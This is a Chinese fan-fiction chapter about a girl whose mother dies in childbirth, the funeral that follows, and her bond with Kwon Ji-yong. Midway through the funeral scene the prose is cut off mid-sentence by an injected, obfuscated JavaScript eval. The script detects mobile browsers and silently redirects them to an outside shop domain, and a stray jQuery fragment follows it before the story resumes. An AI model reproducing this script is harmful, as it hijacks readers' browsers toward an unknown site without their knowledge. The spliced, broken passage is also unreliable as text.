又一场春雨过后,天气正式转暖。
大街上喝着冰美式的人群明显增多,巷子里的鲫鱼饼也停止了贩售,所以就算夏莱在楼下多绕了七八圈,她也比平时回家的时间早了半个多小时。
但还是不想和吴秀莉做过多的交流,她屏住呼吸将钥匙插进锁眼,然后放轻步子进入屋子。
卫生间突然传来哗啦啦的流水声,夏莱吓得抖了一下,快速溜进了自己的房间里。
“呕……”
但又因为吴秀莉传来的呕吐声而有点不安,她探出头来稍微留了一点门缝。
邻居大婶的声音也响起,“很辛苦吧,都七个月了还吐的这么厉害。”
“稍微喝点苏打水。”
“谢谢,真是跟怀莱莱那会儿不能比了。”
听到自己名字的夏莱下意识地心脏一紧,又在瞧见大婶扶着吴秀莉走到客厅时迅速掩上了门。
一扇门隔开了两个世界,外面的声音也变得有些遥远模糊。
“是啊,你都三十多了,现在身体勉强不少吧。”
“勉强是勉强,但又不是就两个人搭伙过日子。”吴秀莉喝了几口苏打水,努力压下恶心感后眉头皱了皱,“半路夫妻,没个孩子很难过得长久的。”
沉默了几秒后邻居大婶拍了拍吴秀莉的手,“唉…是这个道理,更别说你还带着一个。”
“你家那个现在供着夏莱念书学画画,没有不满吧?”
“这倒没有,结婚之前还是他主动承诺的,说无论如何会照顾好莱莱让她上大学,也就是他妈妈有时会有些微辞,但是最近也不怎么说了。”吴秀莉抚上自己的肚子,紧皱的眉头逐渐舒展开来。
“说实话我自己一个人怎么过都可以,但是莱莱还小不能一直跟着我吃苦。”
这时肚子里的小生命也不安分地动了几下。
“你也说是对不对,真听话呢,”吴秀莉耐心地摸了摸肚子,说话间里面的躁动不安逐渐减缓,“将来出生之后也不要吃小心眼姐姐的醋哦,妈妈总是要更关心她的。”
“夏莱要是知道你的苦心就好了,但是话说回来你也要留个心眼,你家那个现在正喜欢你当然什么都好说…”
这时窗外又下起细雨,啪嗒啪嗒的雨滴打在窗台上渐渐覆盖掉两人的对话声,夏莱走到窗前想要关上窗,却注意到她放置在窗台一角的鱼缸。
里面的几只金鱼是为了完成寒假作业吴秀莉特地给她买的,现在斜斜的雨滴顺着敞开的窗缝刮了进来,打在平静的水面上,激得水底的金鱼不安地四处游走。
夏莱立即将一只手置于鱼缸之上,挡住上面的风雨,再另一只手关严了窗。
水面再度恢复了平和,她缓缓蹲下继续看着鱼缸里的几只金鱼。
其中一只在游走间总是抵住玻璃,似乎在表达着它想要到更大的空间,更大的水塘中去。
但金鱼不知道,主人现在给它营造的环境已经是最适合的了。
清澈干净的水源,漂亮的海藻和小石头,定期投放的饲料。
甚至反抗的环境也是主人给它的纵容。
就像她一般,只叫嚣着不公,放不掉那点坏,却忽略了无限的好。
……
夏莱再次走出来时已是饭点,在餐桌上摆着碗筷的吴秀莉看见她从房间里出来着实有些吃惊,“你什么时候回来的?”
“早就回来了,太困就睡了一觉直到现在。”她打了个哈欠,揉了下红红的眼睛后坐到了吴秀莉的对面。
理论上正在陷入单方面冷战的夏莱最近只会说这种必要的对话,但是今天她环顾了一下餐桌上的菜色,又添了句,“有糖醋排骨呢!”
正拿起筷子的吴秀莉手抖了一下,好在另一只手及时抓住了筷腿。
疯狂地眨动着双眼后她恢复了镇静,开始往夏莱碗里夹菜,“邻居大婶会做些我们那边的家乡菜,这还有别的…”
“反正你金叔叔今天要加班,就我们两个多吃点。”
“是,妈妈你也多吃点。”夏莱也夹起一块排骨放到吴秀莉的碗中。
抬头对视间她们的眼角都泛起了一点水光,然后几秒后相视一笑。
似乎又恢复了以往的日常。
“莱莱,你下个月过生日想要什么礼物?”
“没想好,要不一起吃顿饭吧,和金叔叔一起,他妈妈就算了。”
“什么他妈妈,太没礼貌,要叫奶奶。”
……温暖的五月后进入湿热的六月,两天前到了预产期的吴秀莉已经住了院,金正德陪护。
而现在独自在家中的夏莱正自如的坐在客厅里,潜心创作着那份答应好送给权至龙的画。
客厅的电话这时传来嗡嗡的响声,接起后话筒那边熟悉的声音。
夏莱仰天微叹了口气,“好,我一会儿过去。”
半个多小时后
这时身高已快一八零的李洙赫和另外两位局促地挤在滑梯下。
无奈地看着外面滂沱的大雨他撇了撇嘴角,“所以是怎么做到三个人都凑不够一把伞的?”
“我在等的时候还没有下雨。”手捧着玫瑰花痴心等待金真儿的权至龙如是说。
“我走到一半的时间才下,就跑过来了。”缩在另一角的夏莱解释道。
早已对权至龙不抱期待的李株赫直接对另一位投向“瞻仰”的目光,“的确是比东方不败还厉害,能跑过来,夏莱xi你果然会轻功吧。”
“什么轻功啊?”夏莱翻了个大大的白眼。
论怎么让认生的两人快速地熟悉起来?
只需要一个擅长给story中加料的权至龙就可以。
“这位是我认识的妹妹,株赫啊,你别看她这样可比电影里的东方不败还厉害呢,我还缩在那里一动都不敢动呢,她刷———地一招就把高三的大姐大解决了。”
“金甲呦?有空教我两招功夫吧。”
还是少看点武侠电影吧,这都是你们对种花地区的刻板印象。
但此刻夏莱却是不介意加深这种印象的。
她捏了下拳头看向给自己已经塑造成奇怪形象的那位元凶,“不会轻功,会降龙十八掌你信不信?”
“那边那个好像是真儿啊,”对着前方的空气张望四周的权至龙避开了她的视线,“我去看看。”
看到他再度冒雨走到那栋楼前的两人陷入了沉默,
“这样看真的不像小区里的傻瓜哥哥吗?”
仅淋了五六秒雨的权至龙又知道躲到屋檐下等人了。
“…也还好。”一向有感恩之心的夏莱还是决定私下里维护一下他,
“为了喜欢的人这么做没准儿日后回想起来还挺浪漫的。”她用手指比了下构图:雨滴之下“破碎的神伤”,带刺的玫瑰是刻骨铭心的情感…就算是第三次被甩也挺沉醉其中的样子。
她都有点想表示“感动与尊重”地作画一幅了,毕竟跟她班里那每天恋得难舍难分,放个学堪比生死离别的几对情侣相比,这已经是赏心悦目级别的浪漫…唯一美中不足的是权至龙疑似还有被甩第四次的可能和架势。
感叹之余她最后得出一句观察多日得出来的结论,“本来你们韩国人不也是如此吗?不谈恋爱会死的类型。”
被这句话噎到的李株赫知道她是在回敬自己最开始的那句玩笑,但多少不甘心地反问,“那你们那里是什么样子,难不成还不谈吗?”
“马甲呦(对),我这个年纪谈恋爱‘早恋’确实是会死的。”
“不过话又说回来了,这一切都可以在我们看脸唯爱帅哥的铁律下打破。”说话的同时夏莱已经拿出铅笔,在随身的笔记本上开始比照着李株赫那张立体的脸庞勾画起来,
然后在李株赫还没来得及发出疑问之际丢出一句意想不到的炸弹,“所以要和我恋爱吗?帅气的株赫哥。”
如此神之转折,纵使李株赫一向淡定,也不禁愣了几秒。
也吸引了在屋檐下躲雨“等人”的权至龙的注意力,他寥寥几步又走了回来。“你们在说什么呢?离老远也看起来一惊一乍的。”
“我刚刚和他告白了。”憋住笑意的夏莱同时还满意地举起刚画好的速写展示给权至龙,“怎么样,画得挺帅吧。”
速写直接被信以为真的权至龙一把扣住。
他震惊地看向李株赫,“我就转个身的功夫,你怎么能勾引这么单纯的孩子呢?”甚至义愤填膺地抄起手中的玫瑰花,甩了对方半身水。
“不是,这种玩笑话你也信…”退败后无奈擦掉水渍的李株赫看了眼旁边那位“单纯的孩子”。
他坚决地摆了摆手,内心也暗自发誓再也不提有关“东方不败”的相关话题,“我拒绝她好吧,正式的拒绝此生与她绝无可能。”
勉强得到满意答案的权至龙转向另一边,“你也是,怎么能这么随便的跟人告白呢?”
“还有才见了几面就为他画上像了。”而对他,先是认识两个月都不肯画,艰难地答应后又过去两个月还没画完,这合理吗?
对此练习画工的夏莱表示很心安理得,“主要是他的脸很立体,比教室里那些静物有挑战多了。”
“总之,看看悲惨的我,你现在是不是该偷着乐?”夏莱回归自己真正的目的,开启做作地“掩面哭泣”模式。
“跟你这种拖拖拉拉的比,他拒绝我连0.1秒都没有犹豫。”
“感觉我才是那个在下雨天失恋漫步的人。”入戏的人正要往雨里走却被无语至极的权至龙拉了回来,“你怎么好的不学,坏的学那么快啊。”
夏莱有些惊讶地看向【被甩了三次的痴情男子权至龙】,原来您也知道自己的行为不算好的那类,还有救的样子。
“别漫步了。”完全反应过来的权至龙叹了口气,看向阴沉的乌云快透出一丝光亮,稀稀落落的雨滴也开始渐去。
什么东西都有结束的一天,就是他长久以来都在自己骗自己罢了。
“雨都快停了都该结束了,”他低头最后看了眼手里被打落地快要凋零的玫瑰,然后将它直接放在滑梯上,“一会儿我们直接回去。”
“好。”
“但是你不会真的喜欢他吧?”权至龙指了下已经刻意离他们“八丈远”装作完全不认识两人的李株赫。
“莫,”夏莱把手里的那张画稿叠成纸飞机彻底放远,直至它消失在远方的乌云边缘才看向权至龙,展开一个轻松的笑容,“从黄金分割比例的角度,还挺喜欢的。”
……
偷捡了一枝玫瑰的夏莱刚打开家门就听到客厅里的电话在嗡嗡地响个不停,来不及换鞋子的她匆匆忙忙地接起,
“吆不塞呦,金叔叔,要我去医院?”
“我妈妈已经生了…”心底略微异样的感觉涌起,一个不留神手指勾到了玫瑰上的刺。
“嘶…”指尖锥心的刺痛后鲜血冒出,但听到电话那边关切的询问夏莱还是恢复了平和的语气,“没什么事,我现在就收拾过去。”
【医院】
夏莱刚一走进医院就看见了站在大厅处的金正德,他挥了下手示意后快步走近了她。
又带着几分喜色地揽住了她的肩膀,“吃饭了吗?”
经过这两个月夏莱稍加敞开心扉后,两个人的相处也不再那么尴尬。
“啊,忘了…”
“我猜也是,刚才去对面给你买了份这个。”金正德将手里的袋子递给夏莱。她打开一看是还带着热气的汉堡,薯条也是新鲜出炉未变得软塌塌的样子。
夏莱回以一个微笑,心里最后那点无所适从的感觉也烟消云散。
“我妈妈怎么样?”
“她刚生完还在休息,要不要先去看看弟弟?”
夏莱点点头,跟在他的身后进入电梯接着一同拐进了妇产科。
站在透明的玻璃前,金正德向夏莱指了指最左边的那名新生儿,“那个就是,你妈妈刚才还说跟你小时候一模一样呢,现在看…”他推后一步对照了一下,笑着感叹道:“是真的很像呢!”
“确定吗?”她环顾了一圈,觉得这群闭着眼睛的人类幼崽看起来实在没什么区别…都丑丑的。
但这显然不能直接说出来,否则吴秀莉之后知道肯定又要骂她没眼色了。
夏莱勉强地挤出一个笑容,“大概吧。”
话音刚落那个“大概跟她相像的丑娃”打了个哈欠。
“呦,他醒了,看来是知道姐姐来了呢,”金正德冲护士招了下手,“可以抱出来看一下吗?”
抱出来时他又打了个哈欠,微睁开眼睛的模样倒也显得没那么丑了,她学着金正德的动作也轻轻碰了下他的脸颊,瞬间颇感神奇地瞪大了眼睛,“哇,好软呢。”
“是吧,我也这么觉得…”
这时又有一名护士急匆匆地走了过来,目光掠过夏莱一眼后拍了下金正德的肩膀。
一番小声耳语过后他的脸色微变了几秒,但看向夏莱的时候还是如常地说道:“那个医生找我有点事,莱莱你先在这里待一会儿…”
“哦,好。”夏莱还来不及回头,那只小手突然触上了她的指尖,一张一握间竟圈住了她的小拇指。
十分奇妙的感觉将两个人连接在一起,顺着他肉肉软软的小手看过去,小小的嘴巴还咂巴了两下…夏莱顿时发现他好像也没那么丑了,甚至五官的排列组合还真的和她有几分相像。
她露出了笑意轻点了下他的鼻子。
“哇……”结果刚刚还风平浪静的小脸一下子开启了魔音环绕,夏莱赶紧后退一步做无辜地双手投降。
护士熟练地哄了一会儿后将恢复平静的“小祖宗”又带了回去。
如释重负的夏莱也开始拆开汉堡的包装纸,无意间锋利的纸张又割到了手指上的伤口。
一滴鲜血滴落至地板上,她立即拿出纸巾弯腰擦去,又在抬头间看到了远处跟在护士身后匆匆走过去的金正德。
左眼持续性地跳动起来,夏莱用力揉了揉,在中止的间隙拿起一根薯条放进嘴里…变软的薯条已经发面的像纸一样难吃了。
夏莱只好转而咬了几口汉堡,也不是很好吃的味道。
她无奈地摇了摇头,心道果然还是不应该对金叔叔抱有什么期待,不过这次至少卖相上已经说得过去了,她多少也应该领情表示肯定。
大半个汉堡解决完毕的时候夏莱终于再次看到了金正德,她正想说如果今天不方便探望吴秀莉自己大概要回去了时,却见到他头一次格外烦乱不安地揉了揉脸。
一股诡异的潮湿感爬上她的后背。
“那个…夏莱啊,”
“你妈妈要见你。”
再次见到吴秀莉的时候夏莱第一反应竟是戏谑地勾了下嘴角。
为什么每次不安的预感都从未出错?
金正德轻轻推了一下发愣的她,夏莱才晃过神来。
但从门口走到“遥远”的病床前是要有勇气的,每踏出一步她都感觉身体坠入了更冰冷的深渊中。
但还是维持住了几分力气,毕竟她已经不是之前那个稚嫩的小孩了,哼哼唧唧的样子只会让注定要离开的人放不下心。
夏莱无视掉大片的血渍,蹲在病床前轻轻握住了吴秀莉的手。
已经没什么力气的人还是努力睁开了双眼,她的目光转向夏莱的耳朵,夏莱也很快了然,配合地将耳朵靠近她的嘴边……
几句话后夏莱深深地吸了口气,缓过神后朝那边红着眼睛不断抹泪的金正德招了招手。
他一个箭步地冲了过来,膝盖跪在地上发出咣当的碰撞声,但他还是察觉不到痛意的立即拉住了吴秀莉的另一只手。
病床上脸色越来越苍白的人也回握住了他,“不怪你,别自责。”接着又微微偏头看向夏莱,“必须帮我照顾好她。”
含着泪的金正德揽上了她的肩,十分肯定地点了点头。
话虽如此,但吴秀莉看向夏莱的眼神依旧是哀伤的,“你也…咳…”
半口气差点没提上来。
夏莱赶紧拢上她越发冰凉的手,“我知道。”
吴秀莉还是固执地挤出了身为母亲的最后一句叮嘱,“一定要好…好的。”
“还有孩子…”
“对了,我忘了,这就带他过来,你等着。”
慌里慌张的金正德刚踉跄地走到了门口,就听到了心电图传来冰冷的响声。
……
“舞台幕布”缓缓拉开,又是一次经典剧目的演出。
俗话说,一回生二回熟。
一场戏演了三次,夏莱感觉自己已经正式步入了资历的老演员行列。
过去有些尴尬的台词也信手拈来:
“真是麻烦你们了,坐飞机特地过来。”
“请往那边走。”
随后音响和司仪按序就位———
“为表示对逝者吴秀莉女士的哀悼,请各位:
一鞠躬,”听不懂韩语的几位面面相觑,好在这几天有了经验的司仪很快进行了语种转换。
“一鞠躬,”对方夸张的一嗓子吓得站在入口处的npc夏莱都激灵了一下。
“二鞠躬,”紧接着是一系列悲切的经典台词输出,“秀莉啊,你怎么这么年轻就走了,真是老天不长眼啊…”
“三鞠躬,”大声的哭泣逐渐收至哽咽,最后擦了擦眼角的几滴泪后“心满意足”地让出了舞台。
……第一次看时夏莱也曾质疑过如此收放自如,出神入化的学院派演技,但次数多了以后才深谙“所谓学院派”被人推崇的道理。
毕竟自古以来葬礼就是专门演给活人看的自我安慰剂。
每个人都必须按照经典的程式化演出才对得起自己心中逝去的那位主人公。
又是新的一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675377|203969||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
群演员入场。
从克制到极点地红了眼眶,再到特地绕到里面语气沉重地安慰起已经憔悴万分的男主角,最后是功成身退地退场。
……终于迎来中场休息,看累了的夏莱坐到了一旁的餐桌前,盛了满满一碗辣牛肉汤。
刚打算入口,一只手就突然袭来拍了拍她的头,“真可怜啊,看着都瘦了。”
夏莱抬起头,发现置于舞台上方的“聚光灯”不知何时锁定了自己。
啊…她给忘了,剧本上的除了担任NPC外还需要适时地上演几场重场戏。
又几个敬业的群众演员也靠近了过来。
“这几天是不是都没怎么吃好饭啊。”
“想哭的话别硬挺着,小心憋出病来。”
对手戏台词递到这个份上当然是在期待她的眼泪,以待又一幕高潮的掀起。
但这种戏份一直是夏莱难以攻克的难题,八岁第一次出演的时候她就演了个半砸,中途应该说是被不甘心的姑姑掐哭的。
然后事后接连不断的审判是一个八岁的孩子对自己父亲死亡的薄情寡义。
谁让她没符合观众的期待,没安慰到他们悲伤的心理。
……重新望向对手演员的目光,夏莱内心再度涌现一种诡异的荒诞感,干涩的眼睛怎么揉也迎不来一丝湿意。
“唉…”她叹了口气,越不过哭戏这一座大山之后无奈选择了退场。“我去趟卫生间。”
然而经典舞台剧目的幕后也总少不了抓马的争吵:
“妈!都已经答应秀莉了,我怎么可能把夏莱送回去…”
“你也知道她姓夏不姓金啊,养个没有血缘关系的人在家里还供她画画,哪个女的能接受?本身带一个小的就够不好找了。”
“你在说什么啊,人离开都不到一个礼拜!还有夏莱…父亲那边的人早就不管她了,所以我是一定要按照秀莉的嘱托照顾好她的。”
“你就一个人在这儿扯没用的英雄主义吧!难不成你一个单身汉能把孩子养明白?还是说求我一个老太太替你照顾这两个小的到长大…”
躲在卫生间里听完全程的夏莱觉得自己今天的台前幕后戏份都已经足够,索性留了张纸条直接回去了。
打开大门,一切还是如她匆忙离开时的那样。
看见之前地上的鞋印夏莱皱了皱眉,她找出了抹布,将客厅的整片地板擦干净;
接着把之前积攒的脏衣服全部丢进了洗衣机里,再扔掉角落里干枯的那朵玫瑰花;
最后走进厨房,将水倒进锅里,又找出了面条。
还没过十二点,她还记得今天是自己的生日,当然也没忘记吴秀莉的叮嘱。
【一定要好好的。】
所以要吃碗长寿面才行。
忙活了一通夏莱终于将热腾腾的面条端到了客厅的桌子上,正巧也看到了她放在上面的准备给权至龙的礼物。
她确实答应他了,要送一幅画。
这也是外公叮嘱她要【一言既出,驷马难追】的道理。
这是最后的机会,只好赶在面坨之前将它画完。
“有点可惜呢!”夏莱看向这幅色彩,构图各方面都设计得很满意的底稿。
如果再给她些时间一定能画得更出色,但停在现在这步也不失为一个很好的抉择…
夏莱快速地勾勒完最后的轮廓,然后捞起面条开始今天的生日宴。
……
六月的最后一天是久违的好天气,明媚的阳光下微风习习,背着画夹的夏莱穿过街上的人潮后走进一家刨冰店。
早就坐在里面的权至龙冲她挥了挥手。
“最近在忙什么?联络你真不容易啊,打你家座机总没人接。”
“忙着整理,”夏莱坐到位置前看了一眼窗外,觉得如此美好的天气也不失为丢东西的好日子。
她拿下肩膀处的画夹后又补充了一句,“把以后一些用不着的东西处理掉。”
“你呢?”
突然被她反问的权至龙嘴抿成一条线,犹豫了几秒后还是先岔开了话题,“…那个要不要先点单?今天我请你。”
“红豆刨冰怎么样,你喜欢鲫鱼饼也应该喜欢这个吧。”
“那就点这个吧。”
浇满炼乳的红豆刨冰端上来后夏莱特地舀了一大勺,香甜的味道立即在口腔里扩散…转眼刨冰消失了大半。
没办法,她已经有阵子没吃到甜食了,现在要学习省着花才行。
权至龙难得看到她这副模样,有些忍俊不禁:“有那么好吃吗,要不再来一份?”
“不用,”夏莱停止了大快朵颐,想起今天过来的真正目的。
她打开一旁的画夹,抽出里面仅剩的最后一张画。
直接递给他,“说好的给你的画。”
“你是不是快到生日了,就当生日礼物吧。”
“哇…谢谢。”权至龙看向整张画纸,他从来没想到她会将跳舞的自己画成这样。
肆意张扬的面孔泼洒着斑斓的绚丽色彩,连他挥洒的汗水也画出了晶莹的光亮。
“等我正式站上舞台那天,应该就是这样吧。”
“其实我今天来就是想告诉你这个好消息,社长说我们出道的计划已经提上日程了,大概明年…我就能在舞台上唱自己的歌了。”
“到时候你要过来看啊,然后再画一幅惊世巨作怎么样?”
夏莱看向他满是惊喜期待的眼睛,在阳光的映衬下都亮得有些刺眼了。
她错开目光,指向正对着自己的另一面。
是她那天晚上草草画下的自画像。
“会在另一面为你应援的。”这样也挺好,他带着她无疾而终的梦想,连同她的份一起努力发光。
“原来背面还画了你自己,”权至龙探头一看,是夏莱平时在桌前画画的样子,只是…“为什么是没上色的黑白铅笔画?”
“因为颜料都在你那里用光了。”
他依旧是热血明亮的追梦者,而她的梦已经褪掉所有颜色了。
夏莱将最后的几口刨冰全数倒进嘴里,一股刺骨的凉意直冲天灵感,瞬时间激得她脑袋嗡嗡钝痛的同时,两滴生理性的眼泪也流了出来。
“哎,你别吃那么急,擦一下。”纸巾贴上她的脸庞后,一点点擦干净。
再度看向夏莱,权至龙纠结地咬了咬牙,还是把那个好消息以外的坏消息也说了出来,“那个…下学期按照公司的安排,我转到永培念的那所高中去了。”
“可能不会经常在这边。”注意到对面的人微微垂下的头,权至龙赶紧坐到她身旁连连补充,“不过你要是叫我的话,我肯定会过来的。”
“你知道的嘛,我一直都是站在你这边的。”
“权至龙,”低着头的人第一次直呼他的大名。
“你算什么,说这种话。”
夏莱一下子想起外公最后一句话也是这么说的,“一直站在我这边?”
类似的一句话成了打破一切的开关,倏然间所有远去之人的脸庞都浮现在了她的眼前。
她晃神地揉了揉眼,眼前的一切又哐当一下———
全数碎成了碎片。
“你怎么哭了,我没唬你啊…”
听到权至龙慌不择已的声音,夏莱才意识到满手的“碎片”是她迟来的眼泪。
她抬起头,此时耀眼的阳光恰到好处地打在他的身上,闪闪发光的…真是讨厌!
还有这没有一点错处的晴天,她羡慕、嫉妒所有的光亮,也委屈它们将她衬托得太过灰暗。
眼泪就是在这时越来越多的,甚至逐渐发演变为毫无形象的大哭。
慌乱间不停擦拭她眼泪的权至龙开始胡乱猜测:“难道是又被高三的大姐欺负了,”
“没有…”哭到快岔气的夏莱摇了摇头。
“那是又跟你妈妈闹矛盾了?”
听到关键词顿住,十几秒后转为委屈的哽咽。
“…是,”
“自从弟弟出生了以后她都不管我了。”
“那真的有点过分了。”终于找到“病因”的权至龙稍微松了口气,他轻轻拿掉夏莱眼角粘上的纸巾纸屑后开始进行思考,“尤其是像你…肯定不会当家里那种需要顶住一切的老大吧。”
“我当你哥哥,帮你顶住再示范一下做个榜样怎么样?”
“……”夏莱还在抽泣的脸皱成一团。
随后又结结实实地给了他一掌。
“权至龙你太坏了,扯这些就是为了让我叫你欧巴吧!”
“怎么会,我绝对是真心的,你要再适应不了可以来我们家当忙内…还能再赚一个欧尼。”
……
很多年后已经没什么眼泪的夏莱又梦到了这场肆意的哭泣…醒来以后心脏格外暖暖的。
这就是所谓会哭的孩子有糖吃的感觉。